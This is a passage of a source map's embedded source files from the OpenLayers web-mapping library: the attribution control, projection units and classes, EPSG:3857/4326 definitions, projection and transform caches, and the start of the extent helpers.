replaceNode } from '../dom.js';\n/**\n * @typedef {Object} Options\n * @property {string} [className='ol-attribution'] CSS class name.\n * @property {HTMLElement|string} [target] Specify a target if you\n * want the control to be rendered outside of the map's\n * viewport.\n * @property {boolean} [collapsible] Specify if attributions can\n * be collapsed. If not specified, sources control this behavior with their\n * `attributionsCollapsible` setting.\n * @property {boolean} [collapsed=true] Specify if attributions should\n * be collapsed at startup.\n * @property {string} [tipLabel='Attributions'] Text label to use for the button tip.\n * @property {string|HTMLElement} [label='i'] Text label to use for the\n * collapsed attributions button.\n * Instead of text, also an element (e.g. a `span` element) can be used.\n * @property {string} [expandClassName=className + '-expand'] CSS class name for the\n * collapsed attributions button.\n * @property {string|HTMLElement} [collapseLabel='›'] Text label to use\n * for the expanded attributions button.\n * Instead of text, also an element (e.g. a `span` element) can be used.\n * @property {string} [collapseClassName=className + '-collapse'] CSS class name for the\n * expanded attributions button.\n * @property {function(import(\"../MapEvent.js\").default):void} [render] Function called when\n * the control should be re-rendered. This is called in a `requestAnimationFrame`\n * callback.\n */\n/**\n * @classdesc\n * Control to show all the attributions associated with the layer sources\n * in the map. This control is one of the default controls included in maps.\n * By default it will show in the bottom right portion of the map, but this can\n * be changed by using a css selector for `.ol-attribution`.\n *\n * @api\n */\nvar Attribution = /** @class */ (function (_super) {\n __extends(Attribution, _super);\n /**\n * @param {Options} [opt_options] Attribution options.\n */\n function Attribution(opt_options) {\n var _this = this;\n var options = opt_options ? opt_options : {};\n _this = _super.call(this, {\n element: document.createElement('div'),\n render: options.render,\n target: options.target,\n }) || this;\n /**\n * @private\n * @type {HTMLElement}\n */\n _this.ulElement_ = document.createElement('ul');\n /**\n * @private\n * @type {boolean}\n */\n _this.collapsed_ =\n options.collapsed !== undefined ? options.collapsed : true;\n /**\n * @private\n * @type {boolean}\n */\n _this.userCollapsed_ = _this.collapsed_;\n /**\n * @private\n * @type {boolean}\n */\n _this.overrideCollapsible_ = options.collapsible !== undefined;\n /**\n * @private\n * @type {boolean}\n */\n _this.collapsible_ =\n options.collapsible !== undefined ? options.collapsible : true;\n if (!_this.collapsible_) {\n _this.collapsed_ = false;\n }\n var className = options.className !== undefined ? options.className : 'ol-attribution';\n var tipLabel = options.tipLabel !== undefined ? options.tipLabel : 'Attributions';\n var expandClassName = options.expandClassName !== undefined\n ? options.expandClassName\n : className + '-expand';\n var collapseLabel = options.collapseLabel !== undefined ? options.collapseLabel : '\\u203A';\n var collapseClassName = options.collapseClassName !== undefined\n ? options.collapseClassName\n : className + '-collapse';\n if (typeof collapseLabel === 'string') {\n /**\n * @private\n * @type {HTMLElement}\n */\n _this.collapseLabel_ = document.createElement('span');\n _this.collapseLabel_.textContent = collapseLabel;\n _this.collapseLabel_.className = collapseClassName;\n }\n else {\n _this.collapseLabel_ = collapseLabel;\n }\n var label = options.label !== undefined ? options.label : 'i';\n if (typeof label === 'string') {\n /**\n * @private\n * @type {HTMLElement}\n */\n _this.label_ = document.createElement('span');\n _this.label_.textContent = label;\n _this.label_.className = expandClassName;\n }\n else {\n _this.label_ = label;\n }\n var activeLabel = _this.collapsible_ && !_this.collapsed_ ? _this.collapseLabel_ : _this.label_;\n /**\n * @private\n * @type {HTMLElement}\n */\n _this.toggleButton_ = document.createElement('button');\n _this.toggleButton_.setAttribute('type', 'button');\n _this.toggleButton_.setAttribute('aria-expanded', String(!_this.collapsed_));\n _this.toggleButton_.title = tipLabel;\n _this.toggleButton_.appendChild(activeLabel);\n _this.toggleButton_.addEventListener(EventType.CLICK, _this.handleClick_.bind(_this), false);\n var cssClasses = className +\n ' ' +\n CLASS_UNSELECTABLE +\n ' ' +\n CLASS_CONTROL +\n (_this.collapsed_ && _this.collapsible_ ? ' ' + CLASS_COLLAPSED : '') +\n (_this.collapsible_ ? '' : ' ol-uncollapsible');\n var element = _this.element;\n element.className = cssClasses;\n element.appendChild(_this.toggleButton_);\n element.appendChild(_this.ulElement_);\n /**\n * A list of currently rendered resolutions.\n * @type {Array<string>}\n * @private\n */\n _this.renderedAttributions_ = [];\n /**\n * @private\n * @type {boolean}\n */\n _this.renderedVisible_ = true;\n return _this;\n }\n /**\n * Collect a list of visible attributions and set the collapsible state.\n * @param {import(\"../PluggableMap.js\").FrameState} frameState Frame state.\n * @return {Array<string>} Attributions.\n * @private\n */\n Attribution.prototype.collectSourceAttributions_ = function (frameState) {\n /**\n * Used to determine if an attribution already exists.\n * @type {!Object<string, boolean>}\n */\n var lookup = {};\n /**\n * A list of visible attributions.\n * @type {Array<string>}\n */\n var visibleAttributions = [];\n var collapsible = true;\n var layerStatesArray = frameState.layerStatesArray;\n for (var i = 0, ii = layerStatesArray.length; i < ii; ++i) {\n var layerState = layerStatesArray[i];\n if (!inView(layerState, frameState.viewState)) {\n continue;\n }\n var source = /** @type {import(\"../layer/Layer.js\").default} */ (layerState.layer).getSource();\n if (!source) {\n continue;\n }\n var attributionGetter = source.getAttributions();\n if (!attributionGetter) {\n continue;\n }\n var attributions = attributionGetter(frameState);\n if (!attributions) {\n continue;\n }\n collapsible =\n collapsible && source.getAttributionsCollapsible() !== false;\n if (Array.isArray(attributions)) {\n for (var j = 0, jj = attributions.length; j < jj; ++j) {\n if (!(attributions[j] in lookup)) {\n visibleAttributions.push(attributions[j]);\n lookup[attributions[j]] = true;\n }\n }\n }\n else {\n if (!(attributions in lookup)) {\n visibleAttributions.push(attributions);\n lookup[attributions] = true;\n }\n }\n }\n if (!this.overrideCollapsible_) {\n this.setCollapsible(collapsible);\n }\n return visibleAttributions;\n };\n /**\n * @private\n * @param {?import(\"../PluggableMap.js\").FrameState} frameState Frame state.\n */\n Attribution.prototype.updateElement_ = function (frameState) {\n if (!frameState) {\n if (this.renderedVisible_) {\n this.element.style.display = 'none';\n this.renderedVisible_ = false;\n }\n return;\n }\n var attributions = this.collectSourceAttributions_(frameState);\n var visible = attributions.length > 0;\n if (this.renderedVisible_ != visible) {\n this.element.style.display = visible ? '' : 'none';\n this.renderedVisible_ = visible;\n }\n if (equals(attributions, this.renderedAttributions_)) {\n return;\n }\n removeChildren(this.ulElement_);\n // append the attributions\n for (var i = 0, ii = attributions.length; i < ii; ++i) {\n var element = document.createElement('li');\n element.innerHTML = attributions[i];\n this.ulElement_.appendChild(element);\n }\n this.renderedAttributions_ = attributions;\n };\n /**\n * @param {MouseEvent} event The event to handle\n * @private\n */\n Attribution.prototype.handleClick_ = function (event) {\n event.preventDefault();\n this.handleToggle_();\n this.userCollapsed_ = this.collapsed_;\n };\n /**\n * @private\n */\n Attribution.prototype.handleToggle_ = function () {\n this.element.classList.toggle(CLASS_COLLAPSED);\n if (this.collapsed_) {\n replaceNode(this.collapseLabel_, this.label_);\n }\n else {\n replaceNode(this.label_, this.collapseLabel_);\n }\n this.collapsed_ = !this.collapsed_;\n this.toggleButton_.setAttribute('aria-expanded', String(!this.collapsed_));\n };\n /**\n * Return `true` if the attribution is collapsible, `false` otherwise.\n * @return {boolean} True if the widget is collapsible.\n * @api\n */\n Attribution.prototype.getCollapsible = function () {\n return this.collapsible_;\n };\n /**\n * Set whether the attribution should be collapsible.\n * @param {boolean} collapsible True if the widget is collapsible.\n * @api\n */\n Attribution.prototype.setCollapsible = function (collapsible) {\n if (this.collapsible_ === collapsible) {\n return;\n }\n this.collapsible_ = collapsible;\n this.element.classList.toggle('ol-uncollapsible');\n if (this.userCollapsed_) {\n this.handleToggle_();\n }\n };\n /**\n * Collapse or expand the attribution according to the passed parameter. Will\n * not do anything if the attribution isn't collapsible or if the current\n * collapsed state is already the one requested.\n * @param {boolean} collapsed True if the widget is collapsed.\n * @api\n */\n Attribution.prototype.setCollapsed = function (collapsed) {\n this.userCollapsed_ = collapsed;\n if (!this.collapsible_ || this.collapsed_ === collapsed) {\n return;\n }\n this.handleToggle_();\n };\n /**\n * Return `true` when the attribution is currently collapsed or `false`\n * otherwise.\n * @return {boolean} True if the widget is collapsed.\n * @api\n */\n Attribution.prototype.getCollapsed = function () {\n return this.collapsed_;\n };\n /**\n * Update the attribution element.\n * @param {import(\"../MapEvent.js\").default} mapEvent Map event.\n * @override\n */\n Attribution.prototype.render = function (mapEvent) {\n this.updateElement_(mapEvent.frameState);\n };\n return Attribution;\n}(Control));\nexport default Attribution;\n//# sourceMappingURL=Attribution.js.map","/**\n * @module ol/pointer/EventType\n */\n/**\n * Constants for event names.\n * @enum {string}\n */\nexport default {\n POINTERMOVE: 'pointermove',\n POINTERDOWN: 'pointerdown',\n POINTERUP: 'pointerup',\n POINTEROVER: 'pointerover',\n POINTEROUT: 'pointerout',\n POINTERENTER: 'pointerenter',\n POINTERLEAVE: 'pointerleave',\n POINTERCANCEL: 'pointercancel',\n};\n//# sourceMappingURL=EventType.js.map","/**\n * @module ol/proj/Units\n */\n/**\n * Projection units: `'degrees'`, `'ft'`, `'m'`, `'pixels'`, `'tile-pixels'` or\n * `'us-ft'`.\n * @enum {string}\n */\nvar Units = {\n /**\n * Radians\n * @api\n */\n RADIANS: 'radians',\n /**\n * Degrees\n * @api\n */\n DEGREES: 'degrees',\n /**\n * Feet\n * @api\n */\n FEET: 'ft',\n /**\n * Meters\n * @api\n */\n METERS: 'm',\n /**\n * Pixels\n * @api\n */\n PIXELS: 'pixels',\n /**\n * Tile Pixels\n * @api\n */\n TILE_PIXELS: 'tile-pixels',\n /**\n * US Feet\n * @api\n */\n USFEET: 'us-ft',\n};\n/**\n * See http://duff.ess.washington.edu/data/raster/drg/docs/geotiff.txt\n * @type {Object<number, Units>}\n */\nvar unitByCode = {\n '9001': Units.METERS,\n '9002': Units.FEET,\n '9003': Units.USFEET,\n '9101': Units.RADIANS,\n '9102': Units.DEGREES,\n};\n/**\n * @param {number} code Unit code.\n * @return {Units} Units.\n */\nexport function fromCode(code) {\n return unitByCode[code];\n}\n/**\n * Meters per unit lookup table.\n * @const\n * @type {Object<Units, number>}\n * @api\n */\nexport var METERS_PER_UNIT = {};\n// use the radius of the Normal sphere\nMETERS_PER_UNIT[Units.RADIANS] = 6370997 / (2 * Math.PI);\nMETERS_PER_UNIT[Units.DEGREES] = (2 * Math.PI * 6370997) / 360;\nMETERS_PER_UNIT[Units.FEET] = 0.3048;\nMETERS_PER_UNIT[Units.METERS] = 1;\nMETERS_PER_UNIT[Units.USFEET] = 1200 / 3937;\nexport default Units;\n//# sourceMappingURL=Units.js.map","/**\n * @module ol/proj/Projection\n */\nimport { METERS_PER_UNIT } from './Units.js';\n/**\n * @typedef {Object} Options\n * @property {string} code The SRS identifier code, e.g. `EPSG:4326`.\n * @property {import(\"./Units.js\").default|string} [units] Units. Required unless a\n * proj4 projection is defined for `code`.\n * @property {import(\"../extent.js\").Extent} [extent] The validity extent for the SRS.\n * @property {string} [axisOrientation='enu'] The axis orientation as specified in Proj4.\n * @property {boolean} [global=false] Whether the projection is valid for the whole globe.\n * @property {number} [metersPerUnit] The meters per unit for the SRS.\n * If not provided, the `units` are used to get the meters per unit from the {@link module:ol/proj/Units~METERS_PER_UNIT}\n * lookup table.\n * @property {import(\"../extent.js\").Extent} [worldExtent] The world extent for the SRS.\n * @property {function(number, import(\"../coordinate.js\").Coordinate):number} [getPointResolution]\n * Function to determine resolution at a point. The function is called with a\n * `number` view resolution and a {@link module:ol/coordinate~Coordinate Coordinate} as arguments, and returns\n * the `number` resolution in projection units at the passed coordinate. If this is `undefined`,\n * the default {@link module:ol/proj.getPointResolution getPointResolution()} function will be used.\n */\n/**\n * @classdesc\n * Projection definition class. One of these is created for each projection\n * supported in the application and stored in the {@link module:ol/proj} namespace.\n * You can use these in applications, but this is not required, as API params\n * and options use {@link module:ol/proj~ProjectionLike} which means the simple string\n * code will suffice.\n *\n * You can use {@link module:ol/proj.get} to retrieve the object for a particular\n * projection.\n *\n * The library includes definitions for `EPSG:4326` and `EPSG:3857`, together\n * with the following aliases:\n * * `EPSG:4326`: CRS:84, urn:ogc:def:crs:EPSG:6.6:4326,\n * urn:ogc:def:crs:OGC:1.3:CRS84, urn:ogc:def:crs:OGC:2:84,\n * http://www.opengis.net/gml/srs/epsg.xml#4326,\n * urn:x-ogc:def:crs:EPSG:4326\n * * `EPSG:3857`: EPSG:102100, EPSG:102113, EPSG:900913,\n * urn:ogc:def:crs:EPSG:6.18:3:3857,\n * http://www.opengis.net/gml/srs/epsg.xml#3857\n *\n * If you use [proj4js](https://github.com/proj4js/proj4js), aliases can\n * be added using `proj4.defs()`. After all required projection definitions are\n * added, call the {@link module:ol/proj/proj4.register} function.\n *\n * @api\n */\nvar Projection = /** @class */ (function () {\n /**\n * @param {Options} options Projection options.\n */\n function Projection(options) {\n /**\n * @private\n * @type {string}\n */\n this.code_ = options.code;\n /**\n * Units of projected coordinates. When set to `TILE_PIXELS`, a\n * `this.extent_` and `this.worldExtent_` must be configured properly for each\n * tile.\n * @private\n * @type {import(\"./Units.js\").default}\n */\n this.units_ = /** @type {import(\"./Units.js\").default} */ (options.units);\n /**\n * Validity extent of the projection in projected coordinates. For projections\n * with `TILE_PIXELS` units, this is the extent of the tile in\n * tile pixel space.\n * @private\n * @type {import(\"../extent.js\").Extent}\n */\n this.extent_ = options.extent !== undefined ? options.extent : null;\n /**\n * Extent of the world in EPSG:4326. For projections with\n * `TILE_PIXELS` units, this is the extent of the tile in\n * projected coordinate space.\n * @private\n * @type {import(\"../extent.js\").Extent}\n */\n this.worldExtent_ =\n options.worldExtent !== undefined ? options.worldExtent : null;\n /**\n * @private\n * @type {string}\n */\n this.axisOrientation_ =\n options.axisOrientation !== undefined ? options.axisOrientation : 'enu';\n /**\n * @private\n * @type {boolean}\n */\n this.global_ = options.global !== undefined ? options.global : false;\n /**\n * @private\n * @type {boolean}\n */\n this.canWrapX_ = !!(this.global_ && this.extent_);\n /**\n * @private\n * @type {function(number, import(\"../coordinate.js\").Coordinate):number|undefined}\n */\n this.getPointResolutionFunc_ = options.getPointResolution;\n /**\n * @private\n * @type {import(\"../tilegrid/TileGrid.js\").default}\n */\n this.defaultTileGrid_ = null;\n /**\n * @private\n * @type {number|undefined}\n */\n this.metersPerUnit_ = options.metersPerUnit;\n }\n /**\n * @return {boolean} The projection is suitable for wrapping the x-axis\n */\n Projection.prototype.canWrapX = function () {\n return this.canWrapX_;\n };\n /**\n * Get the code for this projection, e.g. 'EPSG:4326'.\n * @return {string} Code.\n * @api\n */\n Projection.prototype.getCode = function () {\n return this.code_;\n };\n /**\n * Get the validity extent for this projection.\n * @return {import(\"../extent.js\").Extent} Extent.\n * @api\n */\n Projection.prototype.getExtent = function () {\n return this.extent_;\n };\n /**\n * Get the units of this projection.\n * @return {import(\"./Units.js\").default} Units.\n * @api\n */\n Projection.prototype.getUnits = function () {\n return this.units_;\n };\n /**\n * Get the amount of meters per unit of this projection. If the projection is\n * not configured with `metersPerUnit` or a units identifier, the return is\n * `undefined`.\n * @return {number|undefined} Meters.\n * @api\n */\n Projection.prototype.getMetersPerUnit = function () {\n return this.metersPerUnit_ || METERS_PER_UNIT[this.units_];\n };\n /**\n * Get the world extent for this projection.\n * @return {import(\"../extent.js\").Extent} Extent.\n * @api\n */\n Projection.prototype.getWorldExtent = function () {\n return this.worldExtent_;\n };\n /**\n * Get the axis orientation of this projection.\n * Example values are:\n * enu - the default easting, northing, elevation.\n * neu - northing, easting, up - useful for \"lat/long\" geographic coordinates,\n * or south orientated transverse mercator.\n * wnu - westing, northing, up - some planetary coordinate systems have\n * \"west positive\" coordinate systems\n * @return {string} Axis orientation.\n * @api\n */\n Projection.prototype.getAxisOrientation = function () {\n return this.axisOrientation_;\n };\n /**\n * Is this projection a global projection which spans the whole world?\n * @return {boolean} Whether the projection is global.\n * @api\n */\n Projection.prototype.isGlobal = function () {\n return this.global_;\n };\n /**\n * Set if the projection is a global projection which spans the whole world\n * @param {boolean} global Whether the projection is global.\n * @api\n */\n Projection.prototype.setGlobal = function (global) {\n this.global_ = global;\n this.canWrapX_ = !!(global && this.extent_);\n };\n /**\n * @return {import(\"../tilegrid/TileGrid.js\").default} The default tile grid.\n */\n Projection.prototype.getDefaultTileGrid = function () {\n return this.defaultTileGrid_;\n };\n /**\n * @param {import(\"../tilegrid/TileGrid.js\").default} tileGrid The default tile grid.\n */\n Projection.prototype.setDefaultTileGrid = function (tileGrid) {\n this.defaultTileGrid_ = tileGrid;\n };\n /**\n * Set the validity extent for this projection.\n * @param {import(\"../extent.js\").Extent} extent Extent.\n * @api\n */\n Projection.prototype.setExtent = function (extent) {\n this.extent_ = extent;\n this.canWrapX_ = !!(this.global_ && extent);\n };\n /**\n * Set the world extent for this projection.\n * @param {import(\"../extent.js\").Extent} worldExtent World extent\n * [minlon, minlat, maxlon, maxlat].\n * @api\n */\n Projection.prototype.setWorldExtent = function (worldExtent) {\n this.worldExtent_ = worldExtent;\n };\n /**\n * Set the getPointResolution function (see {@link module:ol/proj.getPointResolution}\n * for this projection.\n * @param {function(number, import(\"../coordinate.js\").Coordinate):number} func Function\n * @api\n */\n Projection.prototype.setGetPointResolution = function (func) {\n this.getPointResolutionFunc_ = func;\n };\n /**\n * Get the custom point resolution function for this projection (if set).\n * @return {function(number, import(\"../coordinate.js\").Coordinate):number|undefined} The custom point\n * resolution function (if set).\n */\n Projection.prototype.getPointResolutionFunc = function () {\n return this.getPointResolutionFunc_;\n };\n return Projection;\n}());\nexport default Projection;\n//# sourceMappingURL=Projection.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/proj/epsg3857\n */\nimport Projection from './Projection.js';\nimport Units from './Units.js';\nimport { cosh } from '../math.js';\n/**\n * Radius of WGS84 sphere\n *\n * @const\n * @type {number}\n */\nexport var RADIUS = 6378137;\n/**\n * @const\n * @type {number}\n */\nexport var HALF_SIZE = Math.PI * RADIUS;\n/**\n * @const\n * @type {import(\"../extent.js\").Extent}\n */\nexport var EXTENT = [-HALF_SIZE, -HALF_SIZE, HALF_SIZE, HALF_SIZE];\n/**\n * @const\n * @type {import(\"../extent.js\").Extent}\n */\nexport var WORLD_EXTENT = [-180, -85, 180, 85];\n/**\n * Maximum safe value in y direction\n * @const\n * @type {number}\n */\nexport var MAX_SAFE_Y = RADIUS * Math.log(Math.tan(Math.PI / 2));\n/**\n * @classdesc\n * Projection object for web/spherical Mercator (EPSG:3857).\n */\nvar EPSG3857Projection = /** @class */ (function (_super) {\n __extends(EPSG3857Projection, _super);\n /**\n * @param {string} code Code.\n */\n function EPSG3857Projection(code) {\n return _super.call(this, {\n code: code,\n units: Units.METERS,\n extent: EXTENT,\n global: true,\n worldExtent: WORLD_EXTENT,\n getPointResolution: function (resolution, point) {\n return resolution / cosh(point[1] / RADIUS);\n },\n }) || this;\n }\n return EPSG3857Projection;\n}(Projection));\n/**\n * Projections equal to EPSG:3857.\n *\n * @const\n * @type {Array<import(\"./Projection.js\").default>}\n */\nexport var PROJECTIONS = [\n new EPSG3857Projection('EPSG:3857'),\n new EPSG3857Projection('EPSG:102100'),\n new EPSG3857Projection('EPSG:102113'),\n new EPSG3857Projection('EPSG:900913'),\n new EPSG3857Projection('http://www.opengis.net/def/crs/EPSG/0/3857'),\n new EPSG3857Projection('http://www.opengis.net/gml/srs/epsg.xml#3857'),\n];\n/**\n * Transformation from EPSG:4326 to EPSG:3857.\n *\n * @param {Array<number>} input Input array of coordinate values.\n * @param {Array<number>} [opt_output] Output array of coordinate values.\n * @param {number} [opt_dimension] Dimension (default is `2`).\n * @return {Array<number>} Output array of coordinate values.\n */\nexport function fromEPSG4326(input, opt_output, opt_dimension) {\n var length = input.length;\n var dimension = opt_dimension > 1 ? opt_dimension : 2;\n var output = opt_output;\n if (output === undefined) {\n if (dimension > 2) {\n // preserve values beyond second dimension\n output = input.slice();\n }\n else {\n output = new Array(length);\n }\n }\n for (var i = 0; i < length; i += dimension) {\n output[i] = (HALF_SIZE * input[i]) / 180;\n var y = RADIUS * Math.log(Math.tan((Math.PI * (+input[i + 1] + 90)) / 360));\n if (y > MAX_SAFE_Y) {\n y = MAX_SAFE_Y;\n }\n else if (y < -MAX_SAFE_Y) {\n y = -MAX_SAFE_Y;\n }\n output[i + 1] = y;\n }\n return output;\n}\n/**\n * Transformation from EPSG:3857 to EPSG:4326.\n *\n * @param {Array<number>} input Input array of coordinate values.\n * @param {Array<number>} [opt_output] Output array of coordinate values.\n * @param {number} [opt_dimension] Dimension (default is `2`).\n * @return {Array<number>} Output array of coordinate values.\n */\nexport function toEPSG4326(input, opt_output, opt_dimension) {\n var length = input.length;\n var dimension = opt_dimension > 1 ? opt_dimension : 2;\n var output = opt_output;\n if (output === undefined) {\n if (dimension > 2) {\n // preserve values beyond second dimension\n output = input.slice();\n }\n else {\n output = new Array(length);\n }\n }\n for (var i = 0; i < length; i += dimension) {\n output[i] = (180 * input[i]) / HALF_SIZE;\n output[i + 1] =\n (360 * Math.atan(Math.exp(input[i + 1] / RADIUS))) / Math.PI - 90;\n }\n return output;\n}\n//# sourceMappingURL=epsg3857.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/proj/epsg4326\n */\nimport Projection from './Projection.js';\nimport Units from './Units.js';\n/**\n * Semi-major radius of the WGS84 ellipsoid.\n *\n * @const\n * @type {number}\n */\nexport var RADIUS = 6378137;\n/**\n * Extent of the EPSG:4326 projection which is the whole world.\n *\n * @const\n * @type {import(\"../extent.js\").Extent}\n */\nexport var EXTENT = [-180, -90, 180, 90];\n/**\n * @const\n * @type {number}\n */\nexport var METERS_PER_UNIT = (Math.PI * RADIUS) / 180;\n/**\n * @classdesc\n * Projection object for WGS84 geographic coordinates (EPSG:4326).\n *\n * Note that OpenLayers does not strictly comply with the EPSG definition.\n * The EPSG registry defines 4326 as a CRS for Latitude,Longitude (y,x).\n * OpenLayers treats EPSG:4326 as a pseudo-projection, with x,y coordinates.\n */\nvar EPSG4326Projection = /** @class */ (function (_super) {\n __extends(EPSG4326Projection, _super);\n /**\n * @param {string} code Code.\n * @param {string} [opt_axisOrientation] Axis orientation.\n */\n function EPSG4326Projection(code, opt_axisOrientation) {\n return _super.call(this, {\n code: code,\n units: Units.DEGREES,\n extent: EXTENT,\n axisOrientation: opt_axisOrientation,\n global: true,\n metersPerUnit: METERS_PER_UNIT,\n worldExtent: EXTENT,\n }) || this;\n }\n return EPSG4326Projection;\n}(Projection));\n/**\n * Projections equal to EPSG:4326.\n *\n * @const\n * @type {Array<import(\"./Projection.js\").default>}\n */\nexport var PROJECTIONS = [\n new EPSG4326Projection('CRS:84'),\n new EPSG4326Projection('EPSG:4326', 'neu'),\n new EPSG4326Projection('urn:ogc:def:crs:OGC:1.3:CRS84'),\n new EPSG4326Projection('urn:ogc:def:crs:OGC:2:84'),\n new EPSG4326Projection('http://www.opengis.net/def/crs/OGC/1.3/CRS84'),\n new EPSG4326Projection('http://www.opengis.net/gml/srs/epsg.xml#4326', 'neu'),\n new EPSG4326Projection('http://www.opengis.net/def/crs/EPSG/0/4326', 'neu'),\n];\n//# sourceMappingURL=epsg4326.js.map","/**\n * @module ol/proj/projections\n */\n/**\n * @type {Object<string, import(\"./Projection.js\").default>}\n */\nvar cache = {};\n/**\n * Clear the projections cache.\n */\nexport function clear() {\n cache = {};\n}\n/**\n * Get a cached projection by code.\n * @param {string} code The code for the projection.\n * @return {import(\"./Projection.js\").default} The projection (if cached).\n */\nexport function get(code) {\n return (cache[code] ||\n cache[code.replace(/urn:(x-)?ogc:def:crs:EPSG:(.*:)?(\\w+)$/, 'EPSG:$3')] ||\n null);\n}\n/**\n * Add a projection to the cache.\n * @param {string} code The projection code.\n * @param {import(\"./Projection.js\").default} projection The projection to cache.\n */\nexport function add(code, projection) {\n cache[code] = projection;\n}\n//# sourceMappingURL=projections.js.map","/**\n * @module ol/proj/transforms\n */\nimport { isEmpty } from '../obj.js';\n/**\n * @private\n * @type {!Object<string, Object<string, import(\"../proj.js\").TransformFunction>>}\n */\nvar transforms = {};\n/**\n * Clear the transform cache.\n */\nexport function clear() {\n transforms = {};\n}\n/**\n * Registers a conversion function to convert coordinates from the source\n * projection to the destination projection.\n *\n * @param {import(\"./Projection.js\").default} source Source.\n * @param {import(\"./Projection.js\").default} destination Destination.\n * @param {import(\"../proj.js\").TransformFunction} transformFn Transform.\n */\nexport function add(source, destination, transformFn) {\n var sourceCode = source.getCode();\n var destinationCode = destination.getCode();\n if (!(sourceCode in transforms)) {\n transforms[sourceCode] = {};\n }\n transforms[sourceCode][destinationCode] = transformFn;\n}\n/**\n * Unregisters the conversion function to convert coordinates from the source\n * projection to the destination projection. This method is used to clean up\n * cached transforms during testing.\n *\n * @param {import(\"./Projection.js\").default} source Source projection.\n * @param {import(\"./Projection.js\").default} destination Destination projection.\n * @return {import(\"../proj.js\").TransformFunction} transformFn The unregistered transform.\n */\nexport function remove(source, destination) {\n var sourceCode = source.getCode();\n var destinationCode = destination.getCode();\n var transform = transforms[sourceCode][destinationCode];\n delete transforms[sourceCode][destinationCode];\n if (isEmpty(transforms[sourceCode])) {\n delete transforms[sourceCode];\n }\n return transform;\n}\n/**\n * Get a transform given a source code and a destination code.\n * @param {string} sourceCode The code for the source projection.\n * @param {string} destinationCode The code for the destination projection.\n * @return {import(\"../proj.js\").TransformFunction|undefined} The transform function (if found).\n */\nexport function get(sourceCode, destinationCode) {\n var transform;\n if (sourceCode in transforms && destinationCode in transforms[sourceCode]) {\n transform = transforms[sourceCode][destinationCode];\n }\n return transform;\n}\n//# sourceMappingURL=transforms.js.map","/**\n * @module ol/extent\n */\nimport Relationship from './extent/Relationship.js';\nimport { assert } from './asserts.js';\n/**\n * An array of numbers representing an extent: `[minx, miny, maxx, maxy]`.\n * @typedef {Array<number>} Extent\n * @api\n */\n/**\n * Extent corner.\n * @typedef {'bottom-left' | 'bottom-right' | 'top-left' | 'top-right'} Corner\n */\n/**\n * Build an extent that includes all given coordinates.\n *\n * @param {Array<import(\"./coordinate.js\").Coordinate>} coordinates Coordinates.\n * @return {Extent} Bounding extent.\n * @api\n */\nexport function boundingExtent(coordinates) {\n var extent = createEmpty();\n for (var i = 0, ii = coordinates.length; i < ii; ++i) {\n extendCoordinate(extent, coordinates[i]);\n }\n return extent;\n}\n/**\n * @param {Array<number>} xs Xs.\n * @param {Array<number>} ys Ys.\n * @param {Extent} [opt_extent] Destination extent.\n * @private\n * @return {Extent} Extent.\n */\nfunction _boundingExtentXYs(xs, ys, opt_extent) {\n var minX = Math.min.apply(null, xs);\n var minY = Math.min.apply(null, ys);\n var maxX = Math.max.apply(null, xs);\n var maxY = Math.max.apply(null, ys);\n return createOrUpdate(minX, minY, maxX, maxY, opt_extent);\n}\n/**\n * Return extent increased by the provided value.\n * @param {Extent} extent Extent.\n * @param {number} value The amount by which the extent should be buffered.\n * @param {Extent} [opt_extent] Extent.\n * @return {Extent} Extent.\n * @api\n */\nexport function buffer(extent, value, opt_extent) {\n if (opt_extent) {\n opt_extent[0] = extent[0] - value;\n opt_extent[1] = extent[1] - value;\n opt_extent[2] = extent[2] + value;\n opt_extent[3] = extent[3] + value;\n return opt_extent;\n }\n else {\n return [\n extent[0] - value,\n extent[1] - value,\n extent[2] + value,\n extent[3] + value,\n ];\n }\n}\n/**\n * Creates a clone of an extent.\n *\n * @param {Extent} extent Extent to clone.\n * @param {Extent} [opt_extent] Extent.\n * @return {Extent} The clone.\n */\nexport function clone(extent, opt_extent) {\n if (opt_extent) {\n opt_extent[0] = extent[0];\n opt_extent[1] = extent[1];\n opt_extent[2] = extent[2];\n opt_extent[3] = extent[3];\n return opt_extent;\n }\n else {\n return extent.slice();\n }\n}\n/**\n * @param {Extent} extent Extent.\n * @param {number} x X.\n * @param {number} y Y.\n * @return {number} Closest squared distance.\n */\nexport function closestSquaredDistanceXY(extent, x, y) {\n var dx, dy;\n if (x < extent[0]) {\n dx = extent[0] - x;\n }\n else if (extent[2] < x) {\n dx = x - extent[2];\n }\n else {\n dx = 0;\n }\n if (y < extent[1]) {\n dy = extent[1] - y;\n }\n else if (extent[3] < y) {\n dy = y - extent[3];\n }\n else {\n dy = 0;\n }\n return dx * dx + dy * dy;\n}\n/**\n * Check if the passed coordinate is contained or on the edge of the extent.\n *\n * @param {Extent} extent Extent.\n * @param {import(\"./coordinate.js\").Coordinate} coordinate Coordinate.\n * @return {boolean} The coordinate is contained in the extent.\n * @api\n */\nexport function containsCoordinate(extent, coordinate) {\n return containsXY(extent, coordinate[0], coordinate[1]);\n}\n/**\n * Check if one extent contains another.\n *\n * An extent is deemed contained if it lies completely within the other extent,\n * including if they share one or more edges.\n *\n * @param {Extent} extent1 Extent 1.\n * @param {Extent} extent2 Extent 2.\n * @return {boolean} The second extent is contained by or on the edge of the\n * first.\n * @api\n 